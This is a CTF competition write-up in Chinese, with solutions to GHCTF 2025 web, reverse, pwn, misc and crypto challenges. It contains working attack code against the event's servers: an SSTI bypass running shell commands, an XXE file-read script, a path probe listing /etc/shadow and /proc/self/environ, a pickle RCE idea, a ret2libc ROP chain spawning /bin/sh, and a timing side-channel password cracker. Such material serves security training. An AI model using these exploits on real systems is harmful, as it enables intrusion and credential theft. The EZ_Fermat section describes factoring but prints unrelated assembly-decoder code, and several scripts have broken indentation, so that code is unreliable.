GHCTF_WriteUp

发布于 2025-03-06 317 次阅读


-----by Hurkin

Web

upload?SSTI!

简单的waf绕过 黑名单

['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

所以用[request.args.a]绕过

用的sys.modules 间接调用 os,找到warnings.catch_warnings索引为240

上传a.txt

访问/file/a.txt?a=class&b=bases&c=subclasses&d=init&e=globals&f=os&g=ls%20/

然后最后改为cat /flag

(>﹏<)

源码:

from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index():    return open(__file__).read()  @app.route('/ghctf',methods=['POST']) def parse():    xml=request.form.get('xml')    print(xml)    if xml is None:        return "No System is Safe."    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)    root = etree.fromstring(xml, parser)    name=root.find('name').text    return name or None  if __name__=="__main__":    app.run(host='0.0.0.0',port=8080)

xxe读文件

扔给ai,直接拿到exp:

import requests
url = "http://node2.anna.nssctf.cn:28869/ghctf"
payload = """<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>
"""
response = requests.post(url, data={"xml": payload})
print(response.text)

得到flag

NSSCTF{abd2ecb3-4ac0-499d-b245-22e88d210e79}

SQL???

直接上sqlmap爆

ez_readfile

第一步是md5相等

直接参考文献

a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

然后 然后就没思路了 那就开爆

import requests
TARGET_URL = "http://node2.anna.nssctf.cn:28717"
POST_DATA = {
"a": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak",
"b": "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
}
TEST_PATHS = [
"/flag",         # 绝对路径
"../../../../flag",   # 路径遍历
"/flag.txt",       # 常见扩展名
"/etc/passwd",
"/app/flag",
"/run/secrets/flag",
"/opt/flag",
"/usr/local/flag",
"/docker-entrypoint.sh",
"/tmp/flag",
"tmp/flag.tmp",
"/var/tmp/flag",
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
"/var/log/auth.log",
"/var/log/syslog",
"/var/www/html/index.php",
"/var/www/html/config.php",
"/var/www/html/.env",
"/var/www/html/admin/flag",
"/var/www/html/uploads/flag",
"/var/www/html/secret/flag",
"/var/www/html/robots.txt",
"/var/backups/flag",
"/var/backups/flag.bak",
"/var/backups/app.tar.gz",
"/var/lib/gnats/flag",
"/home/flag",
"/home/user/flag",
"/etc/shadow",
"/etc/flag",
"/etc/motd",
"/etc/hosts",
"/etc/environment",
"/proc/self/environ",
"/proc/version",
"/tmp/flag",
"/tmp/flag.tmp",
"/var/tmp/flag",
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
"/var/log/auth.log",
"/var/log/syslog",
"/flag.bak",
"/flag.old",
"/flag.swp",
"/flag.swo",
".flag",
".flag.txt",
".flag.php",
"._flag",
"/readme.md",
"/notice.txt",
"/hint.txt",
"/secret",
"/admin/flag",
"/api/flag",
"/v1/flag"
]
def test_paths():
for path in TEST_PATHS:
  params = {"file": path}
  try:
    response = requests.post(
      TARGET_URL,
      data=POST_DATA,
      params=params,
      timeout=5
    )
    if response.status_code == 200:
      if "NSSCTF{" in response.text:
        print(f"[+] 成功获取 Flag: {response.text}")
        return
      elif "Warning" in response.text:  
        print("Warning")
      else:
        print(f"No Warning:{path}")
  except Exception as e:
    print(f"[!] 测试 {path} 时出错: {str(e)}")
if __name__ == "__main__":
test_paths()

 

(第一次还没看到 太抽象了)

Popppppp

抽象链子,看的头晕,等结束看wp复现吧

ezzzz_pickle

这道题非预期好多 我就打出来两种

先爆弱口令

admin
admin123

非预期1:

然后存在任意文件读取 直接典型非预期读环境变量秒了()

非预期2

读/docker-entrypoint.sh         (好东西 建议有事没事读一下)

这个就是flag,再读一下

好了下面是预期解

其实这题是考察pickle

SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv SECRET_iv=asdwdggiouewhgpw

服务端源码

from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
  encryptor = cipher.encryptor()
  padder = padding.PKCS7(algorithms.AES.block_size).padder()
  padded_data = padder.update(data.encode()) + padder.finalize()
  result = encryptor.update(padded_data) + encryptor.finalize()
  return base64.b64encode(result).decode()
elif mode == 'decrypt':
  decryptor = cipher.decryptor()
  encrypted_data_bytes = base64.b64decode(data)
  decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
  unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
  unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
  return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
  "username": username,
  "expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session
def dowload_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
  data = f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
  key, iv = generate_key_iv()
  pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
  pickled_data = base64.b64decode(pickled)
  session_data = pickle.loads(pickled_data)
  if session_data["username"] != "admin":
    return False
  return session_data if session_data["expires"] > time.time() else False
except:
  return False
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
  session = validate_session(request.cookies["session"])
  if session:
    data = ""
    filename = request.form.get("filename")
    if filename:
      data = dowload_file(filename)
    return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
  username = request.form.get("username")
  password = request.form.get("password")
  if users.get(username) == password:
    resp = make_response(redirect("/"))
    resp.set_cookie("session", create_session(username))
    return resp
  return render_template("login.html", error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)

往里session里塞'reduce'去rce 然后回带flag

(是先非预期的直接梭了)

REV

ASM?Signin!

拿到文件先拖进die,发现是无壳、二进制文件,用010Editor打开获得源码

.MODEL SMALL
.STACK 100H
.DATA
  WELCOME_MSG db 'Welcome to GHCTF!', 0DH, 0AH, '$'
  INPUT_MSG db 'Input your flag:', '$'
WRONG_MSG db 0DH, 0AH, 'Wrong!', 0DH, 0AH, '$'
RIGHT_MSG db 0DH, 0AH, 'Right!', 0DH, 0AH, '$'
DATA1 DB 26H,27H,24H,25H,2AH,2BH,28H,00H
      DB 2EH,2FH,2CH,2DH,32H,33H,30H,00H
      DB 36H,37H,34H,35H,3AH,3BH,38H,39H
      DB 3EH,3FH,3CH,3DH,3FH,27H,34H,11H
DATA2 DB 69H,77H,77H,66H,73H,72H,4FH,46H
      DB 03H,47H,6FH,79H,07H,41H,13H,47H
      DB 5EH,67H,5FH,09H,0FH,58H,63H,7DH
      DB 5FH,77H,68H,35H,62H,0DH,0DH,50H
BUFFER1 db 33 dup(0)
BUFFER2 db 33 dup(0)
.CODE
START:
  MOV AX,@DATA
  MOV DS,AX
  MOV AH,09H
  MOV DX,OFFSET WELCOME_MSG
  INT 21H
  MOV DX,OFFSET INPUT_MSG
  INT 21H
  MOV AH,0AH
  MOV DX,OFFSET BUFFER1
  MOV BYTE PTR[BUFFER1],33
  INT 21H
  CALL DO1
  CALL ENC
  MOV SI,OFFSET BUFFER1 + 2
  MOV DI,OFFSET DATA2
  MOV CX,32
LOOP1:
  MOV AL,[SI]
  CMP AL,[DI]
  JNE P2
  INC SI
  INC DI
  LOOP LOOP1
P1:
  MOV AH,09H
  LEA DX,RIGHT_MSG
  INT 21H
  JMP EXIT_PROGRAM
P2:
  MOV AH,09H
  LEA DX,WRONG_MSG
  INT 21H

EXIT_PROGRAM:  
  MOV AX,4C00H
  INT 21H

DO1 PROC
  PUSH SI
  PUSH DI
  PUSH CX
  XOR SI,SI
  MOV CX,8
SWAP_LOOP:
  PUSH CX
  MOV DI,SI
  ADD DI,4
  CMP DI,28
  JL NOWRAP
  SUB DI,28
NOWRAP:
  MOV BX,SI
  CALL DO2
  ADD SI,4
  POP CX
  LOOP SWAP_LOOP
  POP CX
  POP DI
  POP SI
  RET
DO1 ENDP

DO2 PROC
  PUSH CX
  MOV CX,4
LOOP3:
  MOV AL,DATA1[BX]
  MOV AH,DATA1[DI]
  MOV DATA1[BX],AH
  MOV DATA1[DI],AL
  INC BX
  INC DI
  LOOP LOOP3
  POP CX
  RET
DO2 ENDP

ENC PROC
  PUSH CX
  MOV SI,OFFSET BUFFER1 + 2
  MOV DI,OFFSET DATA1
  MOV CX,8
LOOP2:
  MOV AX,WORD PTR[DI + 1]
  XOR WORD PTR[SI],AX
  MOV AX,WORD PTR[DI + 2]
  XOR WORD PTR[SI + 2],AX
  ADD SI,4
  ADD DI,4
  LOOP LOOP2
  POP CX
  RET
ENC ENDP
END START

源码的关键逻辑:

  1. DO1DO2函数对DATA1进行交换操作

  2. ENC函数将用户输入与修改后的DATA1进行异或加密

  3. 加密后的输入与DATA2比较,正确则显示Right

exp编写思路:

  1. DO1交换DATA1,得到加密时使用的DATA1_modified

  2. 使用DATA1_modified异或DATA2,得到flag

DATA1 = [
  0x26, 0x27, 0x24, 0x25, 0x2A, 0x2B, 0x28, 0x00,
  0x2E, 0x2F, 0x2C, 0x2D, 0x32, 0x33, 0x30, 0x00,
  0x36, 0x37, 0x34, 0x35, 0x3A, 0x3B, 0x38, 0x39,
  0x3E, 0x3F, 0x3C, 0x3D, 0x3F, 0x27, 0x34, 0x11
]
DATA2 = [
  0x69, 0x77, 0x77, 0x66, 0x73, 0x72, 0x4F, 0x46,
  0x03, 0x47, 0x6F, 0x79, 0x07, 0x41, 0x13, 0x47,
  0x5E, 0x67, 0x5F, 0x09, 0x0F, 0x58, 0x63, 0x7D,
  0x5F, 0x77, 0x68, 0x35, 0x62, 0x0D, 0x0D, 0x50
]
def apply_do1(data):
  swaps = []
  for i in range(8):
      si = i * 4
      di = si + 4
      if di >= 28:
          di -= 28
      swaps.append((si, di))
# 执行交换
for si, di in swaps:
  # 交换 4 字节块
  block_si = data[si:si+4].copy()
  block_di = data[di:di+4].copy()
  data[si:si+4] = block_di
  data[di:di+4] = block_si
return data
def decrypt_flag(data1_modified, data2):
  flag = []
  for i in range(8):
      di = i * 4
      # 获取 DATA1 中对应的四个异或字节
      d1 = data1_modified[di + 1]
      d2 = data1_modified[di + 2]
      d3 = data1_modified[di + 3]
      # 异或模板:d1, d2, d2, d3
      xor_pattern = [d1, d2, d2, d3]
      # 处理 DATA2 的四个字节
      block = data2[i*4 : (i+1)*4]
      decrypted = [block[j] ^ xor_pattern[j] for j in range(4)]
      flag.extend(decrypted)
  # 转换为字符串
  return bytes(flag).decode('latin-1', errors='ignore')
if __name__ == "__main__":
  # 创建 DATA1 的副本并进行交换(模拟加密前的处理)
  data1_modified = DATA1.copy()
  apply_do1(data1_modified)  
# 解密得到 flag
flag = decrypt_flag(data1_modified, DATA2)
print("Flag:", flag)

Flag:NSSCTF{W0w_y0u're_g00d@t@5M!!}

PWN

Hello_world

read栈溢出,有PIE保护

backdoor地址 00000000000009c1

直接爆,无论怎么随机化,地址的后三位不会变,只需要爆一位,1/16的概率

刚好一次过

exp:

from pwn import *
p = remote('node2.anna.nssctf.cn', 28065)
payload = (b'a'*40 + b'\xc1\x09')
p.send(payload)
p.interactive()

ret2libc1

栈溢出。选择选项5时,构造72字节的填充覆盖返回地址,利用ROP链调用puts函数打印GOT表中puts的地址。接收泄露的地址后,减去libc中的puts偏移,得到libc基址,从而确定其他函数和字符串的地址。再次触发漏洞,构造新的ROP链调用system("/bin/sh"),其中/bin/sh字符串地址和system函数地址均通过libc基址计算得到。

exp:

from pwn import *
p = remote("node2.anna.nssctf.cn", 28759)
elf = ELF("./attachment")
libc = ELF("./libc.so.6")
pop_rdi = 0x400D73
p.sendafter(b'money', b'3')
p.sendafter(b'money?', b'1000')
p.sendafter(b'money', b'7')
p.sendafter(b'exchange?', b'1000')
p.sendafter(b'money', b'5')
payload = b'a' * 72 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.sym["puts"]) + p64(0x400600)
p.send(payload)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
print(hex(libc.address))
p.sendafter(b'money', b'3')
p.sendafter(b'money?', b'1000')
p.sendafter(b'money', b'7')
p.sendafter(b'exchange?', b'1000')
p.sendafter(b'money', b'5')
payload = b'a' * 72 + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym["system"])
p.send(payload)
p.interactive()

MISC

mybrave

不是伪加密,没有数据流,crc不出来,正常密码爆破也不行,16进制里也没藏东西,然后里面是一个png,文件头已知(bkcrack需要知道至少连续8个已知字节)

想到明文加密

密钥97d30dcc173b15a86e0e7455

恢复图片a

文件尾base64解密

NSSCTF{I'm_Wh1sp3riNg_OuR_Lu11abY_f0r_Y0u_to_CoMe_B4ck_Home}

mycode

a+b 的字典序小于 b+a,则 a 排在 b 前面

exp:

import socket
from functools import cmp_to_key
def compare(a, b):
if a + b < b + a:
  return -1
else:
  return 1
def get_smallest_number(nums):
sorted_nums = sorted(nums, key=cmp_to_key(compare))
concatenated = ''.join(sorted_nums)
concatenated = concatenated.lstrip('0')
return concatenated if concatenated else '0'
def main():
host = 'node2.anna.nssctf.cn'
port = 28206
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  s.connect((host, port))
  buffer = ''
  while True:
    data = s.recv(4096).decode('utf-8', errors='ignore')
    if not data:
      break
    buffer += data
    while True:
      idx = buffer.find('\n')
      if idx == -1:
        break
      line = buffer[:idx]
      buffer = buffer[idx+1:]
      if line.startswith('Numbers:'):
        nums_str = line[len('Numbers: '):].strip()
        nums = nums_str.split()
        smallest = get_smallest_number(nums)
        s.send(f"{smallest}\n".encode())
        print(f"Sent: {smallest}") # 可选,用于调试
      elif line.startswith('NSSCTF'):
        return line.strip()
if __name__ == "__main__":
result = main()
if result:
  print(result)

myleak

先是根据题目描述 用robots协议

Disallow: /webinfo.md

里面是源码https://github.com/webadmin-src/webapp-src

from flask import Flask, render_template, request, redirect, url_for, session
from flask_session import Session
import time
import random
import hashlib
app = Flask(__name__)
app.secret_key = hashlib.sha256(str(time.time()).encode()).hexdigest()
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_FILE_DIR'] = './flask_session'
Session(app)\# 用户配置
CORRECT_PASSWORD = '' # 登录密码
VERIFICATION_CODE = '' # 验证码
ADJECTIVES = ['Happy', 'Clever', 'Swift', 'Brave', 'Gentle', 'Honest', 'Lucky', 'Wise']
NOUNS = ['Panda', 'Tiger', 'Eagle', 'Dolphin', 'Phoenix', 'Wolf', 'Lion', 'Dragon']
def generate_random_username():
"""生成随机用户名 格式:形容词_名词_数字"""
return f"{random.choice(ADJECTIVES)}_{random.choice(NOUNS)}_{random.randint(100, 999)}"
@app.route('/')
def home():
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
  PASSWORD = request.form.get('password')
  if len(PASSWORD) != len(CORRECT_PASSWORD):
    return render_template('login.html', error='密码长度错误')
  for i in range(len(PASSWORD)):
    if PASSWORD[i] != CORRECT_PASSWORD[i]:
      return render_template('login.html', error='密码错误')
    time.sleep(0.1)
  session['logged_in'] = True
  session['username'] = generate_random_username()
  return redirect(url_for('index'))
return render_template('login.html')
@app.route('/index', methods=['GET', 'POST'])
def index():
if not session.get('logged_in'):
  return redirect(url_for('login'))  
if request.method == 'POST':
  user_code = request.form.get('code', '')
  if user_code == VERIFICATION_CODE:
    try:
      with open('/flag', 'r') as f:
        flag = f.read().strip()
      return render_template('index.html', flag=flag)
    except Exception as e:
      print(f"读取flag文件失败: {e}")
      return render_template('index.html', error='系统错误,请联系系统管理员')
  return render_template('index.html', error='验证码错误,请重新输入')
return render_template('index.html')
@app.route('/robots.txt', methods=['GET', 'POST'])
def robot():
return send_from_directory(app.static_folder,'robots.txt')
@app.route('/webinfo.md', methods=['GET', 'POST'])
def webinfo():
return send_from_directory(app.static_folder,'webinfo.md')

 

先手动推出密码长度为10,然后根据登录部分的 time.sleep(0.1) 可以判断是时间侧信道攻击

 

import requests
import time
import string
from statistics import median
TARGET_URL = 'http://node2.anna.nssctf.cn:28438/login'
PASSWORD_LENGTH = 10
TIME_PER_CHAR = 0.1
RETRY_COUNT = 3
CHAR_SET = string.ascii_letters + string.digits + '!_@#$%^&*'
def measure_time(guess):
times = []
for _ in range(RETRY_COUNT):
  try:
    start = time.time()
    response = requests.post(
      TARGET_URL,
      data={'password': guess},
      allow_redirects=False,
      timeout=2
    )
    times.append(time.time() - start)
  except:
    continue
return median(times) if times else None
def crack_password():
password = [''] * PASSWORD_LENGTH
for position in range(PASSWORD_LENGTH):
  max_elapsed = 0
  correct_char = None
  for char in CHAR_SET:
    guess = ''.join(password[:position]) + char
    guess += 'x' * (PASSWORD_LENGTH - len(guess))
    elapsed = measure_time(guess)
    if not elapsed:
      continue
    expected = TIME_PER_CHAR * (position + 1)
    if (abs(elapsed - expected) < 0.07) and (elapsed > max_elapsed):
      max_elapsed = elapsed
      correct_char = char
  if correct_char:
    password[position] = correct_char
    print(f"[✓] 位置 {position} 破解成功: {''.join(password)}")
  else:
    if password[position-1].isupper():
      password[position-1] = password[position-1].lower()
      print(f"[!] 回退重试位置 {position-1} -> {password[position-1]}")
      return crack_password()    
    print(f"[×] 位置 {position} 破解失败,当前进度:{''.join(password)}")
    return None
return ''.join(password)
if __name__ == "__main__":
print("启动增强版破解程序...")
final_password = crack_password()
print(f"\n最终结果: {final_password or '破解失败'}")

破解出来密码是sECurePAsS

https://github.com/webadmin-src/webapp-src/activity里去比较,得到邮箱,然后密码复用,得到认证码

然后获得flag

mydisk-2

使用firefox_decrypt解密个人主目录下的.mozila文件夹,获取ctfshow的账号密码

使用firefox_decrypt解密个人主目录下的.mozila文件夹,获取ctfshow的账号密码

打开etc目录下的lsb-release发现版本信息

Crypto

baby_factor

简单的RSA解密利用欧拉函数计算私钥

exp:

from Crypto.Util.number import long_to_bytes
n = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553
phi = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197784246608456057052779643060628984335578973450260519106769911425793594847759982583376628098472390090331415895352869275325656949958242181688663465437185437198392460569653734315961071709533645370007008616755547195108861900432818710027794402838336405197750190466425895582236209479543326147804766393022786785337752319686125574507066082357748118175068545756301823381723776525427724798780890160482013759497102382173931716030992837059880049832065500252713739288235410544982532170147652055063681116147027591678349638753796122845041417275362394757384204924094885233281257928031484806977974575497621444483701792085077113227851520
c = 2675023626005191241628571734421094007494866451142251352071850033504791090546156004348738217761733467156596330653396106482342801412567035848069931148880296036606611571818493841795682186933874790388789734748415540102210757974884805905578650801916130709273985096229857987312816790471330181166965876955546627327549473645830218664078284830699777113214559053294592015697007540297033755845037866295098660371843447432672454589238297647906075964139778749351627739005675106752803394387612753005638224496040203274119150075266870378506841838513636541340104864561937527329845541975189814018246183215952285198950920021711141273569490277643382722047159198943471946774301837440950402563578645113393610924438585345876355654972759318203702572517614743063464534582417760958462550905093489838646250677941813170355212088529993225869303917882372480469839803533981671743959732373159808299457374754090436951368378994871937358645247263240789585351233
e = 65537\# 计算私钥d
d = pow(e, -1, phi)\# 解密得到明文
m = pow(c, d, n)\# 转换为字节
flag = long_to_bytes(m)
print(flag.decode())

babysignin

当RSA的加密指数e=4且明文m较小时,m⁴可能小于模数n,此时密文c=m⁴未取模,直接对c开四次方即可还原明文。若m⁴≥n,则需分解n后在模p和模q下分别求四次根,再通过中国剩余定理组合解。

exp:

from Crypto.Util.number import long_to_bytes
import gmpy2
p = 182756071972245688517047475576147877841
q = 305364532854935080710443995362714630091
n = p * q
c = 14745090428909283741632702934793176175157287000845660394920203837824364163635
def crt(a_list, m_list):
"""中国剩余定理实现"""
M = 1
for m in m_list:
  M *= m
x = 0
for a, m in zip(a_list, m_list):
  Mi = M // m
  inv = gmpy2.invert(Mi, m)
  x = (x + a * Mi * inv) % M
return x
def tonelli_shanks(n, p):
"""Tonelli-Shanks算法计算模素数平方根 x^2 ≡ n mod p"""
if pow(n, (p-1)//2, p) != 1:
  return []
if p % 4 == 3:
  x = pow(n, (p+1)//4, p)
  return [x, (-x) % p]
Q = p - 1
S = 0
while Q % 2 == 0:
  Q //= 2
  S += 1
z = 2
while pow(z, (p-1)//2, p) != p-1:
  z += 1
c = pow(z, Q, p)
x = pow(n, (Q+1)//2, p)
t = pow(n, Q, p)
m = S
while t != 1:
  tmp = t
  i = 0
  while tmp != 1 and i < m:
    tmp = pow(tmp, 2, p)
    i += 1
  b = pow(c, 1 << (m - i - 1), p)
  x = (x * b) % p
  t = (t * b * b) % p
  c = (b * b) % p
  m = i
return [x, (-x) % p]
def find_quartic_roots(c_val, prime):
"""寻找x^4 ≡ c_val mod prime的所有解"""
roots = []
y_roots = tonelli_shanks(c_val, prime)
for y in y_roots:
  x_roots = tonelli_shanks(y, prime)
  roots.extend(x_roots)
return list(set(roots))
\# 计算四次根
roots_p = find_quartic_roots(c % p, p)
roots_q = find_quartic_roots(c % q, q)
print(f"模p下的四次根数量:{len(roots_p)}")
print(f"模q下的四次根数量:{len(roots_q)}")
\# 遍历所有组合
for xp in roots_p:
for xq in roots_q:
  m = crt([xp, xq], [p, q])
  flag = long_to_bytes(m)
  if flag.startswith(b'NSSCTF{'):
    print("Flag:", flag.decode())
    exit()
print("未找到有效Flag")

EZ_Fermat

题目是关于RSA加密的,要求从给出的n,e,c,f,w这几个参数中恢复出明文,也就是flag

exp思路:

计算gcd(w-1, n),由于w ≡ 1 mod p,w-1是p的倍数,而n也是p的倍数。通过最大公约数分解n 解密RSA:使用得到的p和q计算私钥d,解密密文c

DATA1 = [
  0x26, 0x27, 0x24, 0x25, 0x2A, 0x2B, 0x28, 0x00,
  0x2E, 0x2F, 0x2C, 0x2D, 0x32, 0x33, 0x30, 0x00,
  0x36, 0x37, 0x34, 0x35, 0x3A, 0x3B, 0x38, 0x39,
  0x3E, 0x3F, 0x3C, 0x3D, 0x3F, 0x27, 0x34, 0x11
]
DATA2 = [
  0x69, 0x77, 0x77, 0x66, 0x73, 0x72, 0x4F, 0x46,
  0x03, 0x47, 0x6F, 0x79, 0x07, 0x41, 0x13, 0x47,
  0x5E, 0x67, 0x5F, 0x09, 0x0F, 0x58, 0x63, 0x7D,
  0x5F, 0x77, 0x68, 0x35, 0x62, 0x0D, 0x0D, 0x50
]
def apply_do1(data):
  # 模拟 DO1 的交换过程
  swaps = []
  for i in range(8):
      si = i * 4
      di = si + 4
      if di >= 28:
          di -= 28
      swaps.append((si, di))
  # 执行交换
  for si, di in swaps:
      # 交换 4 字节块
      block_si = data[si:si + 4].copy()
      block_di = data[di:di + 4].copy()
      data[si:si + 4] = block_di
      data[di:di + 4] = block_si
  return data
def decrypt_flag(data1_modified, data2):
  flag = []
  for i in range(8):
      di = i * 4
      # 获取 DATA1 中对应的四个异或字节
      d1 = data1_modified[di + 1]
      d2 = data1_modified[di + 2]
      d3 = data1_modified[di + 3]
      # 异或模板:d1, d2, d2, d3
      xor_pattern = [d1, d2, d2, d3]
      # 处理 DATA2 的四个字节
      block = data2[i * 4: (i + 1) * 4]
      decrypted = [block[j] ^ xor_pattern[j] for j in range(4)]
      flag.extend(decrypted)
  # 转换为字符串
  return bytes(flag).decode('latin-1', errors='ignore')
  if __name__ == "__main__":
  # 创建 DATA1 的副本并进行交换(模拟加密前的处理)
  data1_modified = DATA1.copy()
  apply_do1(data1_modified)
# 解密得到 flag
flag = decrypt_flag(data1_modified, DATA2)
print("Flag:", flag)

MIMT_RSA

基于RSA,需要从给定的密文ck中恢复出36位的合数KEY生成flag。

1.ck = KEY^e mod n,其中e=65537,n为RSA模数。

2.若将KEY分解为x*y,则ck ≡ (x*y)^e mod n。寻找满足此条件的x和y。

3.中间相遇攻击:

预计算所有可能的i(范围2到2^19),计算ck * (i^e)^{-1} mod n并存储。该值对应(KEY/i)^e mod n。
遍历可能的x(范围2到2^20),计算x^e mod n,在预计算的值中查找匹配项。若存在,则x = KEY/i,即KEY = x*i。

4.验证与恢复:

找到有效的x和i后,计算KEY = x*i,并验证其位数和是否为合数。

5.使用KEY的MD5哈希生成flag

exp:

from Crypto.Util.number import inverse
from gmpy2 import is_prime
from hashlib import md5
import bisect
n = 26563847822899403123579768059987758748518109506340688366937229057385768563897579939399589878779201509595131302887212371556759550226965583832707699167542469352676806103999861576255689028708092007726895892953065618536676788020023461249303717579266840903337614272894749021562443472322941868357046500507962652585875038973455411548683247853955371839865042918531636085668780924020410159272977805762814306445393524647460775620243065858710021030314398928537847762167177417552351157872682037902372485985979513934517709478252552309280270916202653365726591219198063597536812483568301622917160509027075508471349507817295226801011
e = 65537
ck = 8371316287078036479056771367631991220353236851470185127168826270131149168993253524332451231708758763231051593801540258044681874144589595532078353953294719353350061853623495168005196486200144643168051115479293775329183635187974365652867387949378467702492757863040766745765841802577850659614528558282832995416523310220159445712674390202765601817050315773584214422244200409445854102170875265289152628311393710624256106528871400593480435083264403949059237446948467480548680533474642869718029551240453665446328781616706968352290100705279838871524562305806920722372815812982124238074246044446213460443693473663239594932076
precomputed = []
for i in range(2, 2**19):
ieval = pow(i, e, n)
inv_ieval = inverse(ieval, n)
val = (ck * inv_ieval) % n
precomputed.append((val, i))
precomputed.sort()
KEY = None
for x in range(2, 2**20):
x_val = pow(x, e, n)
idx = bisect.bisect_left(precomputed, (x_val, 0))
if idx < len(precomputed) and precomputed[idx][0] == x_val:
i = precomputed[idx][1]
candidate = x * i
if candidate.bit_length() == 36 and not is_prime(candidate):
KEY = candidate
break
if KEY is None:
raise ValueError("Valid KEY not found")
flag = b'NSSCTF{' + md5(str(KEY).encode()).hexdigest().encode() + b'}'
print(flag.decode())

AI

AI Cat Girl

 

 

 

 

Being Better
最后更新于 2025-03-09